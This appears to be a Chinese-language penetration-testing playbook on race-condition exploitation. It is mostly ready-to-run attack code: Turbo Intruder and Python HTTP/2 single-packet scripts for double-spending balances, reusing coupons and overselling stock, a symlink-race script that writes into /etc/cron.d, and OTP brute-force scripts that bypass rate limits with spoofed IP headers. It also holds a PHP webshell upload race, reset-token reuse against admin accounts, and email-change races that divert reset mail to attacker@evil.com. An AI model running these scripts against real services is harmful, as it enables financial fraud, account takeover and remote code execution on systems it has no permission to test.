Race Condition Exploit

竞态条件漏洞利用方法论

核心原理：在服务器"检查"和"使用"之间的时间窗口内，发送并发请求使同一操作被执行多次

⛔ 深入参考

• Turbo Intruder 脚本与高级技巧 → references/turbo-intruder-scripts.md
• 多步骤竞态与复合利用场景 → references/multi-step-race.md
• curl/Python/Barrier 并发脚本、文件上传竞争脚本 → references/race-scripts.md

---

Phase 1: 识别竞态条件攻击面

高价值目标操作：
├─ 💰 余额/积分/虚拟货币操作（转账、提现、消费）
├─ 🎟️ 优惠券/折扣码兑换（限用 1 次）
├─ 📦 限量库存购买（秒杀/抢购）
├─ 🔐 频率限制绕过（登录尝试、短信验证码）
├─ 📧 多步工作流（邮箱修改 → 密码重置）
├─ 👍 投票/点赞（每人限 1 次）
├─ 🎮 游戏资源（双重领取奖励）
├─ 🔑 一次性 Token 验证（同一 token 多次使用）
├─ 📝 注册/创建（检查唯一性 → 插入，创建重复账户）
└─ 📁 文件上传 → 处理管道（TOCTOU，在删除前访问 webshell）

快速判断存在竞态的标志：

• 响应中有 "已使用" / "余额不足" / "已达上限" 等限制
• 正常重复提交返回错误 → 存在服务端状态检查 → 可能有时间窗口

Phase 2: 攻击技术选择

并发方法对比：
├─ Single-Packet Attack (HTTP/2) → 最精确，纳秒级同步 ⭐首选
├─ Last-Byte Sync (HTTP/1.1) → HTTP/1.1 场景的最佳方案
├─ Turbo Intruder gate → Burp Suite 中最方便
├─ 多线程 Python → 灵活但时间精度较低
└─ 普通 Repeater 并发 → 最简单，成功率最低

选择依据：
目标支持 HTTP/2？
├─ 是 → Single-Packet Attack（同一 TCP 连接发多请求）
└─ 否 → Last-Byte Sync（多连接，hold 最后一字节，同时释放）

Phase 3: Single-Packet Attack（HTTP/2 首选）

原理： HTTP/2 多路复用允许在单个 TCP 包中发送多个完整请求，服务器几乎同时处理

Turbo Intruder 脚本

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          engine=Engine.BURP2)  # HTTP/2

    # 同一操作重复 20 次，gate 同步释放
    for i in range(20):
        engine.queue(target.req, gate='race1')

    # 所有请求同时发出
    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)

Python 实现

import h2.connection
import h2.config
import h2.events
import socket, ssl

def single_packet_attack(host, port, requests, path='/redeem'):
    """HTTP/2 单包竞态攻击"""
    ctx = ssl.create_default_context()
    ctx.set_alpn_protocols(['h2'])

    sock = socket.create_connection((host, port))
    sock = ctx.wrap_socket(sock, server_hostname=host)

    config = h2.config.H2Configuration(client_side=True)
    conn = h2.connection.H2Connection(config=config)
    conn.initiate_connection()
    sock.sendall(conn.data_to_send())

    # 发送所有请求的 HEADERS（不发 DATA）
    stream_ids = []
    for i in range(requests):
        sid = conn.get_next_available_stream_id()
        stream_ids.append(sid)
        conn.send_headers(sid, [
            (':method', 'POST'),
            (':path', path),
            (':authority', host),
            ('content-type', 'application/x-www-form-urlencoded'),
        ])

    # 所有 DATA 帧打包在一起发送（单包！）
    for sid in stream_ids:
        conn.send_data(sid, b'coupon=DISCOUNT50', end_stream=True)

    # 一次性发出所有数据
    sock.sendall(conn.data_to_send())

    # 收集响应
    responses = {}
    while len(responses) < requests:
        data = sock.recv(65535)
        events = conn.receive_data(data)
        for event in events:
            if isinstance(event, h2.events.ResponseReceived):
                responses[event.stream_id] = dict(event.headers)
        sock.sendall(conn.data_to_send())

    return responses

Phase 4: Last-Byte Sync（HTTP/1.1 场景）

原理：
1. 建立 N 个 TCP 连接
2. 每个连接发送请求，但 hold 住最后一字节不发
3. 同时释放所有连接的最后一字节
→ 服务器同时收到 N 个完整请求

Turbo Intruder 实现：

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=20,  # 20个并行连接
                          requestsPerConnection=1,
                          engine=Engine.THREADED)

    for i in range(20):
        engine.queue(target.req, gate='race1')

    engine.openGate('race1')

Phase 5: 常见利用场景

场景 A: 优惠券重复使用

正常流程：
1. POST /apply-coupon {code: "SAVE50"}
2. 服务器检查: 优惠券已使用? → 否
3. 服务器操作: 标记已使用 + 扣减金额

竞态攻击：
同时发送 20 个相同请求 → 所有请求在步骤 2 时都读到"未使用"
→ 优惠券被应用 20 次

验证: 检查最终账户余额/订单折扣是否超出预期

场景 B: 余额并发提现

正常: 余额 100 → 提现 100 → 余额 0
竞态: 余额 100 → 同时 5 次提现 100 → 可能成功 2-3 次 → 提取 200-300

关键请求:
POST /withdraw
{"amount": 100, "account": "attacker_account"}

场景 C: 频率限制绕过

限制: 每分钟 5 次登录尝试
竞态: 单包内发 100 次尝试 → 限制器来不及计数
→ 100 次尝试中只有最后几次被限制

用于: 密码喷洒 / 验证码爆破

场景 D: 多步骤竞态（高级）

攻击者邮箱修改 + 密码重置竞态：
1. 请求 A: POST /change-email {email: "attacker@evil.com"}
2. 请求 B: POST /reset-password（同时发送）
→ 密码重置邮件可能发到攻击者新邮箱
   （因为邮箱修改和密码重置同时处理）

Phase 6: 验证成功

竞态成功的标志：
├─ 多个请求返回 200 OK（而非只有第一个成功）
├─ 余额/积分出现异常变化
├─ 同一操作被记录多次（日志/订单/交易）
├─ 频率限制未生效
└─ 系统状态不一致

工具速查

关联技能

• 缓存投毒 & 请求走私 → /skill:cache-poisoning-smuggling
• 业务逻辑攻击 → /skill:business-logic-attack
• API Fuzz → /skill:api-fuzz

多步骤竞态条件利用

复杂业务逻辑中的竞态漏洞，涉及 TOCTOU、数据库事务、分布式系统等深层场景

---

一、TOCTOU (Time-of-Check-Time-of-Use) 利用

1.1 文件系统 TOCTOU（Symlink Race）

攻击原理:
├─ 程序检查文件权限/内容（Time-of-Check）
├─ 在检查通过后、使用前的时间窗口内
├─ 攻击者将文件替换为符号链接
├─ 程序使用已被替换的文件（Time-of-Use）
└─ 经典 Linux 提权场景

示例: SUID 程序写入临时文件
1. 程序检查 /tmp/output.txt 不存在 → 通过
2. 攻击者: ln -sf /etc/passwd /tmp/output.txt
3. 程序写入 /tmp/output.txt → 实际写入 /etc/passwd

#!/bin/bash
# Symlink Race 利用脚本
# 目标: SUID 程序 /usr/local/bin/vulnapp 写入 /tmp/vulnapp.log

TARGET_FILE="/tmp/vulnapp.log"
LINK_TARGET="/etc/cron.d/pwned"

# 持续创建符号链接（竞争窗口）
while true; do
    rm -f "$TARGET_FILE"
    ln -sf "$LINK_TARGET" "$TARGET_FILE"
done &
RACE_PID=$!

# 反复触发目标程序
for i in $(seq 1 1000); do
    /usr/local/bin/vulnapp 2>/dev/null
done

kill $RACE_PID

# 检查是否成功写入 cron
cat /etc/cron.d/pwned 2>/dev/null && echo "[+] Race condition exploited!"

1.2 Web 业务逻辑 TOCTOU

典型场景: 余额检查 → 扣款
├─ Step 1: 查询余额 (SELECT balance FROM accounts WHERE id=1)
│   → 返回 balance = 100
├─ Step 2: 检查 balance >= amount → 通过 (100 >= 100)
├─ ⛔ 竞态窗口: 另一个请求也在 Step 2 通过
├─ Step 3: 扣款 (UPDATE accounts SET balance = balance - 100 WHERE id=1)
├─ Step 3': 另一个请求也扣款 → balance = -100
└─ 结果: 余额被扣成负数，提取了双倍金额

---

二、多步骤竞态场景

2.1 转账/支付重放（Double-Spending）

#!/usr/bin/env python3
"""转账竞态 — 余额双花"""
import asyncio
import aiohttp

async def transfer(session, url, token, amount, target_account, barrier, idx):
    """等待 barrier 同步后发送转账请求"""
    await barrier.wait()
    async with session.post(url, json={
        'amount': amount,
        'to_account': target_account
    }, headers={'Authorization': f'Bearer {token}'}) as resp:
        body = await resp.text()
        print(f"  [{idx}] Status: {resp.status} | Body: {body[:100]}")
        return resp.status

async def double_spend_attack(target, token, amount=100, count=10):
    """
    目标: 余额 100 → 同时发起多次 100 的转账
    预期: 只成功 1 次 | 竞态成功: 多次成功
    """
    url = f"{target}/api/transfer"
    barrier = asyncio.Barrier(count)

    async with aiohttp.ClientSession() as session:
        tasks = [
            transfer(session, url, token, amount, f'mule_account_{i}', barrier, i)
            for i in range(count)
        ]
        results = await asyncio.gather(*tasks)

    success = sum(1 for r in results if r == 200)
    print(f"\n[*] 成功转账次数: {success}/{count}")
    if success > 1:
        print(f"[!] 竞态条件确认! 余额被超额使用 {success} 次")

# asyncio.run(double_spend_attack('https://target.com', 'JWT_TOKEN'))

2.2 优惠券/积分并发使用

攻击场景:
├─ 优惠券 "SAVE50" 限用 1 次
├─ 检查逻辑: SELECT used FROM coupons WHERE code='SAVE50'
├─ 标记逻辑: UPDATE coupons SET used=1 WHERE code='SAVE50'
├─ 竞态窗口: 检查和标记之间
└─ 同时发 20 个请求 → 所有都在 used=0 时通过检查

Turbo Intruder:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2)

    for i in range(20):
        engine.queue(target.req, gate='coupon_race')

    engine.openGate('coupon_race')

def handleResponse(req, interesting):
    # 多个请求返回 "优惠券已使用成功" → 竞态确认
    if 'success' in req.response.lower() or '200' in req.response:
        table.add(req)

2.3 库存超卖

攻击场景:
├─ 限量商品剩余 1 件
├─ 并发购买请求 → 所有请求在库存 > 0 时通过
├─ 多个订单创建成功 → 库存变为负数

测试方法:
1. 将商品加入购物车（库存 1）
2. 准备多个结账请求（不同 session 或同 session 多次）
3. 使用 Single-Packet Attack 同时发送
4. 检查订单创建数量 vs 库存变化

# HTTP/2 单包攻击 — 库存超卖
import h2.connection, h2.config, h2.events
import socket, ssl

def oversell_attack(host, port=443, count=10):
    ctx = ssl.create_default_context()
    ctx.set_alpn_protocols(['h2'])
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    sock = socket.create_connection((host, port))
    sock = ctx.wrap_socket(sock, server_hostname=host)

    config = h2.config.H2Configuration(client_side=True)
    conn = h2.connection.H2Connection(config=config)
    conn.initiate_connection()
    sock.sendall(conn.data_to_send())

    # 等待 SETTINGS
    data = sock.recv(65535)
    conn.receive_data(data)
    sock.sendall(conn.data_to_send())

    # 构造购买请求
    body = b'product_id=1337&quantity=1'
    stream_ids = []
    for _ in range(count):
        sid = conn.get_next_available_stream_id()
        stream_ids.append(sid)
        conn.send_headers(sid, [
            (':method', 'POST'),
            (':path', '/api/checkout'),
            (':authority', host),
            (':scheme', 'https'),
            ('content-type', 'application/x-www-form-urlencoded'),
            ('content-length', str(len(body))),
            ('cookie', 'session=TARGET_SESSION'),
        ])
        conn.send_data(sid, body, end_stream=True)

    # 单包发送所有请求
    sock.sendall(conn.data_to_send())

    # 收集响应
    responses = {}
    sock.settimeout(10)
    while len(responses) < count:
        try:
            data = sock.recv(65535)
        except socket.timeout:
            break
        events = conn.receive_data(data)
        for event in events:
            if isinstance(event, h2.events.DataReceived):
                responses[event.stream_id] = event.data.decode(errors='replace')
                conn.acknowledge_received_data(event.flow_controlled_length, event.stream_id)
        sock.sendall(conn.data_to_send())

    sock.close()
    return responses

2.4 投票/点赞刷量

攻击场景:
├─ 每个用户限投 1 票
├─ 检查: SELECT count FROM votes WHERE user_id=X AND poll_id=Y
├─ 如果 count=0 → 允许投票 → INSERT INTO votes ...
├─ 竞态: 多个请求同时通过 count=0 检查
└─ 结果: 同一用户投出多票

验证:
├─ 投票前记录总票数
├─ 发送 N 个并发投票请求
├─ 投票后检查总票数变化
└─ 变化 > 1 → 竞态确认

---

三、数据库层面竞态

3.1 SELECT ... FOR UPDATE 缺失

-- 存在竞态的查询（无锁）
SELECT balance FROM accounts WHERE id = 1;
-- 返回 100, 两个事务都读到 100

UPDATE accounts SET balance = balance - 100 WHERE id = 1;
-- 两个事务都执行 → balance = -100

-- 正确的做法（行级锁）
BEGIN;
SELECT balance FROM accounts WHERE id = 1 FOR UPDATE;
-- 第二个事务会等待第一个完成
UPDATE accounts SET balance = balance - 100 WHERE id = 1;
COMMIT;

3.2 事务隔离级别利用

MySQL 事务隔离级别与竞态:
├─ READ UNCOMMITTED → 脏读，竞态最容易利用
├─ READ COMMITTED → 不可重复读，竞态窗口存在
├─ REPEATABLE READ → MySQL 默认，快照读不加锁 → 仍有竞态
└─ SERIALIZABLE → 最安全，自动加行锁 → 竞态困难

检测目标使用的隔离级别:
├─ MySQL: SELECT @@transaction_isolation;
├─ PostgreSQL: SHOW default_transaction_isolation;
└─ 大多数 Web 应用使用 READ COMMITTED 或 REPEATABLE READ

REPEATABLE READ 下的竞态:
├─ 快照读 (SELECT) 不加锁 → 多个事务读到相同快照
├─ 当前读 (SELECT FOR UPDATE / UPDATE) 才加锁
├─ 如果应用先 SELECT 再 UPDATE（无 FOR UPDATE）→ 竞态存在
└─ 即使 REPEATABLE READ 也不能阻止这种 TOCTOU

3.3 Optimistic Locking Bypass

Optimistic Locking 原理:
├─ 记录包含 version 字段
├─ UPDATE ... SET balance=X, version=version+1 WHERE id=1 AND version=5
├─ 如果 version 已被改变 → UPDATE 影响 0 行 → 失败
└─ 正常情况下可以防止竞态

绕过方式:
├─ 1. 如果应用不检查 UPDATE 影响行数 → 不知道操作失败
├─ 2. 如果应用使用 INSERT ON DUPLICATE KEY UPDATE → version 检查被绕过
├─ 3. 如果 version 字段可被攻击者控制 → 设置为预期值
├─ 4. 批量操作可能绕过单行 version 检查
└─ 5. 某些 ORM 框架的 optimistic lock 实现有缺陷

---

四、分布式系统竞态

4.1 微服务间一致性漏洞

场景: 电商微服务架构
├─ 订单服务: 创建订单
├─ 库存服务: 扣减库存
├─ 支付服务: 处理支付
├─ 通过消息队列异步通信

竞态点:
├─ 订单服务创建订单 → 发消息给库存服务
├─ 在库存服务扣减前 → 另一个订单也创建成功
├─ 两个扣减请求到达库存服务 → 可能都成功
└─ 原因: 订单服务和库存服务之间无分布式事务

利用方法:
├─ 对订单创建接口发送并发请求
├─ 不需要 Single-Packet → 因为竞态窗口很大（跨服务调用延迟）
├─ 普通线程池并发即可
└─ 目标: 创建超过库存数量的订单

4.2 Redis WATCH/MULTI 滥用

Redis 事务模型:
├─ WATCH key → 监控 key 变化
├─ MULTI → 开始事务
├─ 命令队列（不立即执行）
├─ EXEC → 如果 WATCH 的 key 未被改变 → 执行所有命令
│         如果 WATCH 的 key 已改变 → 事务取消（返回 nil）
└─ 应用需要处理事务取消的情况 → 重试

竞态可能:
├─ 1. 应用不使用 WATCH → 无乐观锁 → 直接竞态
│   MULTI → DECR inventory → EXEC
│   多个客户端同时执行 → 库存可能变为负数
│
├─ 2. 应用使用 WATCH 但不处理失败
│   WATCH inventory → GET inventory → 检查 > 0
│   MULTI → DECR inventory → EXEC
│   如果 EXEC 返回 nil（事务失败）但应用不重试 → 静默失败
│
├─ 3. 应用使用 Lua 脚本（原子操作）→ 难以竞态
│   EVAL "if redis.call('get',KEYS[1]) > 0 then return redis.call('decr',KEYS[1]) end" 1 inventory
│   → Lua 脚本在 Redis 中原子执行 → 安全
│
└─ 测试方法: 并发 DECR 操作 → 检查最终值是否为负

4.3 消息队列重复消费

场景: 优惠券兑换通过消息队列处理
├─ 请求到达 → 发送消息到队列 → Consumer 处理
├─ 如果 Consumer 处理失败 → 消息重新入队 → 重新消费
├─ 如果 Consumer 不是幂等的 → 重复消费 = 重复兑换

利用方式:
├─ 1. 造成 Consumer 处理超时（发送大量请求制造队列积压）
├─ 2. 消息被重新投递 → 多次消费
├─ 3. 或直接并发发送多个相同兑换请求 → 都入队
├─ 4. 多个 Consumer 实例同时处理 → 竞态

检测:
├─ 发送并发请求后检查操作是否被执行多次
├─ 关注 "操作成功" 响应的数量
└─ 检查数据库中的实际记录数

---

五、测试方法

5.1 Turbo Intruder 多步骤竞态

# 多端点竞态: 修改邮箱 + 密码重置同时进行
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2)

    change_email = '''POST /api/change-email HTTP/2\r
Host: target.com\r
Cookie: session=VICTIM_SESSION\r
Content-Type: application/json\r
Content-Length: 40\r
\r
{"email":"attacker@evil.com"}'''

    reset_password = '''POST /api/reset-password HTTP/2\r
Host: target.com\r
Cookie: session=VICTIM_SESSION\r
Content-Type: application/json\r
Content-Length: 2\r
\r
{}'''

    # 同一 gate → 同时释放
    engine.queue(change_email, gate='multi_step')
    engine.queue(reset_password, gate='multi_step')

    engine.openGate('multi_step')

def handleResponse(req, interesting):
    table.add(req)

5.2 自定义 Threading 脚本

#!/usr/bin/env python3
"""多线程竞态测试框架"""
import threading
import requests
import time

class RaceConditionTester:
    def __init__(self, target, threads=20):
        self.target = target
        self.threads = threads
        self.barrier = threading.Barrier(threads)
        self.results = []
        self.lock = threading.Lock()

    def _worker(self, idx, request_func):
        """每个线程执行的函数"""
        try:
            self.barrier.wait(timeout=10)  # 同步点
            result = request_func(idx)
            with self.lock:
                self.results.append({'idx': idx, 'result': result})
        except Exception as e:
            with self.lock:
                self.results.append({'idx': idx, 'error': str(e)})

    def run(self, request_func):
        """启动所有线程"""
        threads = []
        for i in range(self.threads):
            t = threading.Thread(target=self._worker, args=(i, request_func))
            threads.append(t)
            t.start()

        for t in threads:
            t.join(timeout=30)

        return self.results

# 使用示例: 余额并发提现
def withdraw_request(idx):
    session = requests.Session()
    resp = session.post(
        'https://target.com/api/withdraw',
        json={'amount': 100, 'to': f'account_{idx}'},
        headers={'Authorization': 'Bearer TOKEN'},
        verify=False
    )
    return {'status': resp.status_code, 'body': resp.text[:200]}

# tester = RaceConditionTester('https://target.com', threads=20)
# results = tester.run(withdraw_request)
# success = sum(1 for r in results if r.get('result', {}).get('status') == 200)
# print(f"成功: {success}/20")

---

六、验证与影响评估

竞态成功验证:
├─ 多个请求返回成功响应（而非只有第一个）
├─ 数据库记录数量超过预期
│   - 订单数 > 库存
│   - 优惠券使用次数 > 1
│   - 投票数 > 允许数
├─ 余额出现负数
├─ 业务指标异常
│   - 总发出金额 > 总余额
│   - 总售出数 > 总库存
└─ 日志中同一操作的多条成功记录

影响评估:
├─ 💰 财务影响: 余额双花、支付绕过
├─ 📦 业务影响: 库存超卖、优惠滥用
├─ 🔐 安全影响: 频率限制绕过、认证绕过
└─ 📊 数据影响: 数据不一致、统计偏差

---

参考链接

• PortSwigger - Race Conditions
• James Kettle - Smashing the State Machine
• OWASP - Race Condition

条件竞争利用脚本

方法一：curl 并发

# 同时发送 20 个请求
for i in $(seq 1 20); do
  curl -s -X POST 'http://target/api/transfer' \
    -H 'Cookie: session=xxx' \
    -d 'amount=100&to=attacker' &
done
wait

方法二：Python 多线程

import threading, requests

url = "http://target/api/redeem"
cookies = {"session": "xxx"}
data = {"code": "GIFT2024"}

def send():
    r = requests.post(url, cookies=cookies, data=data)
    print(r.status_code, r.text[:100])

threads = [threading.Thread(target=send) for _ in range(20)]
for t in threads: t.start()
for t in threads: t.join()

方法三：Python + Barrier 同步释放（最精确）

import threading, requests

barrier = threading.Barrier(20)

def send():
    req = requests.Session()
    req.cookies.set("session", "xxx")
    # 所有线程在此同步等待，然后同时释放
    barrier.wait()
    r = req.post("http://target/api/redeem", data={"code": "GIFT2024"})
    print(r.status_code, r.text[:100])

threads = [threading.Thread(target=send) for _ in range(20)]
for t in threads: t.start()
for t in threads: t.join()

文件上传竞争（双组模式）

需要两组并发请求： 1. 上传组：不断上传 webshell 2. 访问组：不断尝试访问上传的文件

import threading, requests

def upload():
    while not stop_event.is_set():
        requests.post("http://target/upload",
                      files={"file": ("shell.php", "<?php system($_GET['c']);?>")})

def access():
    while not stop_event.is_set():
        r = requests.get("http://target/uploads/shell.php?c=cat+/flag.txt")
        if r.status_code == 200 and "FLAG" in r.text:
            print("GOT FLAG:", r.text)
            stop_event.set()

stop_event = threading.Event()
for _ in range(5): threading.Thread(target=upload).start()
for _ in range(10): threading.Thread(target=access).start()

验证竞态成功

• 余额类：对比操作前后余额，看是否扣款异常
• 兑换码类：检查是否收到多次成功响应
• 文件上传类：检查是否成功访问到 webshell 输出
• 限购类：检查是否超额购买成功

Turbo Intruder 竞态利用脚本集

Single-Packet Attack（HTTP/2 单包攻击）

HTTP/2 允许在单个 TCP 包中发送多个请求，消除了网络抖动的影响，是目前最精确的竞态攻击手段。

# Turbo Intruder: single-packet-attack.py
# 适用于 HTTP/2 目标，利用单个数据包同时到达
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2)  # HTTP/2 引擎

    # 构造请求列表 — 同一优惠码兑换 20 次
    for i in range(20):
        engine.queue(target.req, gate='race1')

    # 所有请求打包到单个 TCP 包后同时释放
    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)

Burp Suite 中的配置

在 Repeater 中也可以直接使用 Send group (single-packet attack)： 1. 将多个请求添加到同一 group 2. 右键选择 Send group in parallel (single-packet attack) 3. 需要目标支持 HTTP/2

---

Last-Byte Sync（HTTP/1.1 末字节同步）

当目标仅支持 HTTP/1.1 时，无法使用单包攻击。替代方案是先发送请求体的绝大部分，仅保留最后 1 字节，然后同时发送所有末尾字节。

# Turbo Intruder: last-byte-sync.py
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=20,
                           requestsPerConnection=1,
                           engine=Engine.THREADED)

    for i in range(20):
        engine.queue(target.req, gate='race1')

    # last-byte sync: 引擎会先发送除最后 1 字节外的全部内容
    # openGate 时同时释放所有连接的最后 1 字节
    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)

关键原理

连接1: POST /redeem HTTP/1.1\r\n...code=GIFT202   (暂停，保留最后字节 '4')
连接2: POST /redeem HTTP/1.1\r\n...code=GIFT202   (暂停，保留最后字节 '4')
...
连接20: POST /redeem HTTP/1.1\r\n...code=GIFT202  (暂停，保留最后字节 '4')

--- openGate('race1') ---

连接1-20 同时发送 '4' → 服务端几乎同时收到完整请求

---

多端点竞态（改邮箱 + 密码重置同时发送）

攻击场景：用户先请求密码重置链接（发送到原邮箱），然后在重置邮件到达前修改绑定邮箱，使重置链接发送到攻击者邮箱。

# Turbo Intruder: multi-endpoint-race.py
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=2,
                           engine=Engine.BURP2)

    # 请求1: 发起密码重置（发往原邮箱）
    reset_req = '''POST /api/password-reset HTTP/2\r
Host: target.com\r
Cookie: session=VICTIM_SESSION\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: 24\r
\r
email=victim@example.com'''

    # 请求2: 修改绑定邮箱为攻击者的
    change_req = '''POST /api/change-email HTTP/2\r
Host: target.com\r
Cookie: session=VICTIM_SESSION\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: 26\r
\r
email=attacker@evil.com'''

    # 两个请求通过同一个 gate 同时释放
    engine.queue(reset_req, gate='race1')
    engine.queue(change_req, gate='race1')

    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)

其他多端点竞态场景

---

Rate Limit 绕过（Gate 机制批量突破）

当目标存在请求速率限制时（如验证码尝试次数），可以利用 gate 机制在限制窗口内同时发送大量请求。

# Turbo Intruder: rate-limit-bypass.py
# 场景: OTP 验证码爆破，目标限制每分钟 5 次尝试
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=100,
                           engine=Engine.BURP2)

    # 4 位 OTP 爆破 — 分批发送，每批 100 个
    codes = [str(i).zfill(4) for i in range(10000)]

    for batch_start in range(0, len(codes), 100):
        batch = codes[batch_start:batch_start+100]
        gate_name = f'batch_{batch_start}'

        for code in batch:
            req = target.req.replace('§OTP§', code)
            engine.queue(req, gate=gate_name)

        # 同一批次内的请求在同一时刻到达服务端
        # 速率限制计数器来不及更新，大部分请求可以绕过
        engine.openGate(gate_name)

def handleResponse(req, interesting):
    if '200' in req.response or 'success' in req.response.lower():
        table.add(req)

IP 轮换辅助

# 如果目标按 IP 限流，结合 X-Forwarded-For 轮换
for i, code in enumerate(codes):
    req = target.req.replace('§OTP§', code)
    req = req.replace('X-Forwarded-For: §IP§',
                      f'X-Forwarded-For: 127.0.0.{i % 256}')
    engine.queue(req, gate=gate_name)

---

Token/Session 竞态（失效前重复使用）

场景：一次性 token（如密码重置 token、2FA code）在使用后会被标记为已用。在标记完成前的窗口内，同一 token 可能被多次使用。

# Turbo Intruder: token-race.py
# 场景: 密码重置 token 竞态 — 用同一个 token 重置多个账户
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2)

    token = 'a1b2c3d4e5f6'  # 从重置邮件中获取的一次性 token

    # 用同一个 token 同时提交，尝试重置不同用户的密码
    for target_user in ['admin', 'root', 'operator']:
        req = target.req.replace('§TOKEN§', token)
        req = req.replace('§USER§', target_user)
        engine.queue(req, gate='token_race')

    engine.openGate('token_race')

def handleResponse(req, interesting):
    table.add(req)

2FA 验证码重用

# 同一个 2FA code 同时用于登录 + 修改敏感操作
login_req = '''POST /api/verify-2fa HTTP/2\r
Host: target.com\r
Cookie: session=LOGIN_SESSION\r
Content-Type: application/json\r
Content-Length: §LEN§\r
\r
{"code":"123456","action":"login"}'''

change_pwd_req = '''POST /api/verify-2fa HTTP/2\r
Host: target.com\r
Cookie: session=LOGIN_SESSION\r
Content-Type: application/json\r
Content-Length: §LEN§\r
\r
{"code":"123456","action":"change_password","new_password":"hacked123"}'''

engine.queue(login_req, gate='2fa')
engine.queue(change_pwd_req, gate='2fa')
engine.openGate('2fa')

---

Python asyncio 无头测试替代方案

不依赖 Burp Suite 的纯 Python 实现，适合自动化测试和 CI/CD 集成。

HTTP/2 单包攻击（h2 库）

import asyncio
import ssl
import h2.connection
import h2.config
import h2.events

async def single_packet_attack(host, port, requests_data, path='/api/redeem'):
    """HTTP/2 单包攻击 — 所有请求在同一个 TCP 包中发送"""
    ctx = ssl.create_default_context()
    ctx.set_alpn_protocols(['h2'])
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    reader, writer = await asyncio.open_connection(host, port, ssl=ctx)

    config = h2.config.H2Configuration(client_side=True)
    conn = h2.connection.H2Connection(config=config)
    conn.initiate_connection()
    writer.write(conn.data_to_send())
    await writer.drain()

    # 等待 SETTINGS 帧
    data = await reader.read(65535)
    events = conn.receive_data(data)
    writer.write(conn.data_to_send())
    await writer.drain()

    # 构造所有请求的帧但先不发送
    stream_ids = []
    for i, body in enumerate(requests_data):
        sid = conn.get_next_available_stream_id()
        stream_ids.append(sid)

        headers = [
            (':method', 'POST'),
            (':path', path),
            (':authority', host),
            (':scheme', 'https'),
            ('content-type', 'application/x-www-form-urlencoded'),
            ('content-length', str(len(body))),
            ('cookie', 'session=TARGET_SESSION'),
        ]
        conn.send_headers(sid, headers)
        conn.send_data(sid, body.encode(), end_stream=True)

    # 关键: 所有帧打包到一次 write 中发送
    writer.write(conn.data_to_send())
    await writer.drain()

    # 收集响应
    responses = {}
    while len(responses) < len(requests_data):
        data = await reader.read(65535)
        if not data:
            break
        events = conn.receive_data(data)
        for event in events:
            if isinstance(event, h2.events.ResponseReceived):
                responses[event.stream_id] = {'headers': event.headers}
            elif isinstance(event, h2.events.DataReceived):
                sid = event.stream_id
                responses.setdefault(sid, {})
                responses[sid]['body'] = responses[sid].get('body', b'') + event.data
                conn.acknowledge_received_data(event.flow_controlled_length, sid)
        writer.write(conn.data_to_send())
        await writer.drain()

    writer.close()
    return responses

# 使用示例
async def main():
    bodies = ['code=GIFT2024'] * 20
    responses = await single_packet_attack('target.com', 443, bodies)
    for sid, resp in responses.items():
        body = resp.get('body', b'').decode(errors='replace')
        print(f'Stream {sid}: {body[:200]}')

asyncio.run(main())

HTTP/1.1 并发（aiohttp + Barrier 同步）

import asyncio
import aiohttp

async def race_request(session, url, data, barrier, results, idx):
    """等待 barrier 同步后同时发送请求"""
    # 预热连接（先建立 TCP + TLS）
    async with session.options(url) as _:
        pass

    await barrier.wait()
    async with session.post(url, data=data) as resp:
        body = await resp.text()
        results[idx] = {'status': resp.status, 'body': body[:300]}
        return results[idx]

async def http1_race(url, payloads, cookie=None):
    n = len(payloads)
    barrier = asyncio.Barrier(n)
    results = {}

    headers = {}
    cookies = {'session': cookie} if cookie else None

    async with aiohttp.ClientSession(headers=headers, cookies=cookies) as session:
        tasks = [
            race_request(session, url, payload, barrier, results, i)
            for i, payload in enumerate(payloads)
        ]
        await asyncio.gather(*tasks)

    return results

# 使用示例
async def main():
    url = 'https://target.com/api/redeem'
    payloads = [{'code': 'GIFT2024'}] * 20
    results = await http1_race(url, payloads, cookie='victim_session_value')

    success_count = sum(1 for r in results.values() if r['status'] == 200)
    print(f'成功次数: {success_count}/{len(payloads)}')
    for i, r in sorted(results.items()):
        print(f'  [{i}] {r["status"]} - {r["body"][:100]}')

asyncio.run(main())

---

实战技巧

连接预热（Connection Warming）

服务端首次连接可能触发额外操作（TLS 握手、后端连接池分配），导致首个请求延迟。在正式攻击前先发送无害请求预热连接。

# Turbo Intruder 预热
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=20,
                           engine=Engine.BURP2)

    # 预热: 发送 GET / 到每个连接
    for i in range(20):
        engine.queue('GET / HTTP/2\r\nHost: target.com\r\n\r\n')

    # 等待预热完成
    import time
    time.sleep(1)

    # 正式攻击
    for i in range(20):
        engine.queue(target.req, gate='race1')
    engine.openGate('race1')

响应分析与成功检测

def handleResponse(req, interesting):
    # 方法1: 状态码差异
    if '200' in req.response and 'already' not in req.response.lower():
        table.add(req)

    # 方法2: 响应长度差异 — 成功和失败响应长度通常不同
    # 在 Turbo Intruder 表格中按 Length 列排序

    # 方法3: 关键字匹配
    keywords = ['success', 'redeemed', 'balance', 'token']
    if any(kw in req.response.lower() for kw in keywords):
        table.add(req)

常见检测点

调试建议

